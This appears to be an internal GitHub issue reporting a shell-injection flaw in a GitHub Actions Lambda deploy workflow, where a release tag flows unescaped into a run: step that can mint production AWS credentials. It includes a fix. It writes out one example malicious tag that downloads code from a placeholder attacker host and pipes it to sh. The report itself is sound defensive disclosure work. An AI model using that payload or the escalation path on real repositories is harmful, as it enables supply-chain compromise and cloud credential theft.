Found during the #1542 sweep of .github/workflows/. Structurally identical to #1542: a raw interpolation of an attacker-influenceable value into a run: block, inside a job that holds id-token: write and has no environment: binding. Labelled to match #1542 accordingly.
Where
.github/workflows/deploy-aws-lambda.yml
:26 — permissions: id-token: write at workflow level
:56-57 — release: types: [created] trigger
:82 — prepare job. No environment: binding. Line :86 is environment: ${{ steps.set-env.outputs.environment }} under outputs: — that is an output named environment, not an environment binding. Easy to misread; it does not gate anything.
:107 — the defect:
echo "tag=${{ github.event.release.tag_name }}" >> $GITHUB_OUTPUT
What
github.event.release.tag_name is a git tag name. git check-ref-format forbids spaces, ~, ^, :, ?, *, [, \ and control characters — but it permits ;, $, `, (, ), &, |, <, >, !, ' and ". So a tag named:
v1.0.0;curl$IFS-s$IFS'https://attacker/x'|sh;
is a valid ref, and cutting a release on it substitutes that text into the shell source of :107 before bash parses it. The absence of spaces is not a barrier — $IFS and brace expansion cover it.
The value additionally flows into $GITHUB_OUTPUT unescaped, so a tag containing a newline-equivalent could also poison the image_tag output consumed by build-and-deploy.
Why it matters
prepare inherits id-token: write from :26 and has no environment binding, so injected code there can mint an OIDC token. terraform/environments/aws/ci-cd-permissions/role.tf:29 accepts the subject repo:<org/repo>:ref:refs/heads/main independently of the environment:* subjects, so that token assumes cudly-terraform-deploy — the full production deploy role — without passing any reviewer gate.
This is the exact mechanism #1542 described, reached through a different trigger.
Precondition: creating a release requires write access to the repo. That is the same trust boundary #1542 had (dispatching a workflow also requires write access), so it is not a mitigation so much as a restatement of the threat model: a write-access user, or a compromised token/account with write access, escalates to production cloud credentials with no approval step.
Fix
Same shape as PR #1641:
- name: Set image tag
id: set-tag
env:
EVENT_NAME: ${{ github.event_name }}
RELEASE_TAG: ${{ github.event.release.tag_name }}
SHA: ${{ github.sha }}
run: |
set -euo pipefail
if [ "$EVENT_NAME" = "release" ]; then
TAG="$RELEASE_TAG"
else
TAG="$SHA"
fi
# Registry-safe charset, same guard rollback.yml now applies to image_tag.
if [[ ! "$TAG" =~ ^[a-zA-Z0-9._-]+$ ]]; then
echo "::error::Refusing unsafe tag: $TAG"
exit 1
fi
echo "tag=$TAG" >> "$GITHUB_OUTPUT"
Also drop id-token: write from workflow level to only the jobs that authenticate, per the same change in #1641.
Note ${{ github.event_name }} and ${{ github.sha }} are also interpolated raw in this job (:93-101, :109); both are GitHub-generated and not attacker-settable, so they are hygiene rather than vulnerability — but moving them at the same time keeps the file consistent.
Scope
github.actor is interpolated into run: blocks at deploy-aws-fargate.yml:185, deploy-aws-lambda.yml:220, deploy-azure.yml:249 and deploy-gcp.yml:159. GitHub usernames are constrained to [A-Za-z0-9-], so those are not injectable and are listed here only so a reader does not re-flag them.
Related: #1542 / PR #1641 (same class, rollback.yml), #1647 (same class, database-migration.yml), #1591 (missing environment bindings), #1646 (no workflow linter, which is why none of these were caught).
Found during the #1542 sweep of
.github/workflows/. Structurally identical to #1542: a raw interpolation of an attacker-influenceable value into arun:block, inside a job that holdsid-token: writeand has noenvironment:binding. Labelled to match #1542 accordingly.Where
.github/workflows/deploy-aws-lambda.yml:26—permissions: id-token: writeat workflow level:56-57—release: types: [created]trigger:82—preparejob. Noenvironment:binding. Line:86isenvironment: ${{ steps.set-env.outputs.environment }}underoutputs:— that is an output namedenvironment, not an environment binding. Easy to misread; it does not gate anything.:107— the defect:echo "tag=${{ github.event.release.tag_name }}" >> $GITHUB_OUTPUTWhat
github.event.release.tag_nameis a git tag name.git check-ref-formatforbids spaces,~,^,:,?,*,[,\and control characters — but it permits;,$,`,(,),&,|,<,>,!,'and". So a tag named:is a valid ref, and cutting a release on it substitutes that text into the shell source of
:107before bash parses it. The absence of spaces is not a barrier —$IFSand brace expansion cover it.The value additionally flows into
$GITHUB_OUTPUTunescaped, so a tag containing a newline-equivalent could also poison theimage_tagoutput consumed bybuild-and-deploy.Why it matters
prepareinheritsid-token: writefrom:26and has no environment binding, so injected code there can mint an OIDC token.terraform/environments/aws/ci-cd-permissions/role.tf:29accepts the subjectrepo:<org/repo>:ref:refs/heads/mainindependently of theenvironment:*subjects, so that token assumescudly-terraform-deploy— the full production deploy role — without passing any reviewer gate.This is the exact mechanism #1542 described, reached through a different trigger.
Precondition: creating a release requires write access to the repo. That is the same trust boundary #1542 had (dispatching a workflow also requires write access), so it is not a mitigation so much as a restatement of the threat model: a write-access user, or a compromised token/account with write access, escalates to production cloud credentials with no approval step.
Fix
Same shape as PR #1641:
Also drop
id-token: writefrom workflow level to only the jobs that authenticate, per the same change in #1641.Note
${{ github.event_name }}and${{ github.sha }}are also interpolated raw in this job (:93-101,:109); both are GitHub-generated and not attacker-settable, so they are hygiene rather than vulnerability — but moving them at the same time keeps the file consistent.Scope
github.actoris interpolated intorun:blocks atdeploy-aws-fargate.yml:185,deploy-aws-lambda.yml:220,deploy-azure.yml:249anddeploy-gcp.yml:159. GitHub usernames are constrained to[A-Za-z0-9-], so those are not injectable and are listed here only so a reader does not re-flag them.Related: #1542 / PR #1641 (same class,
rollback.yml), #1647 (same class,database-migration.yml), #1591 (missing environment bindings), #1646 (no workflow linter, which is why none of these were caught).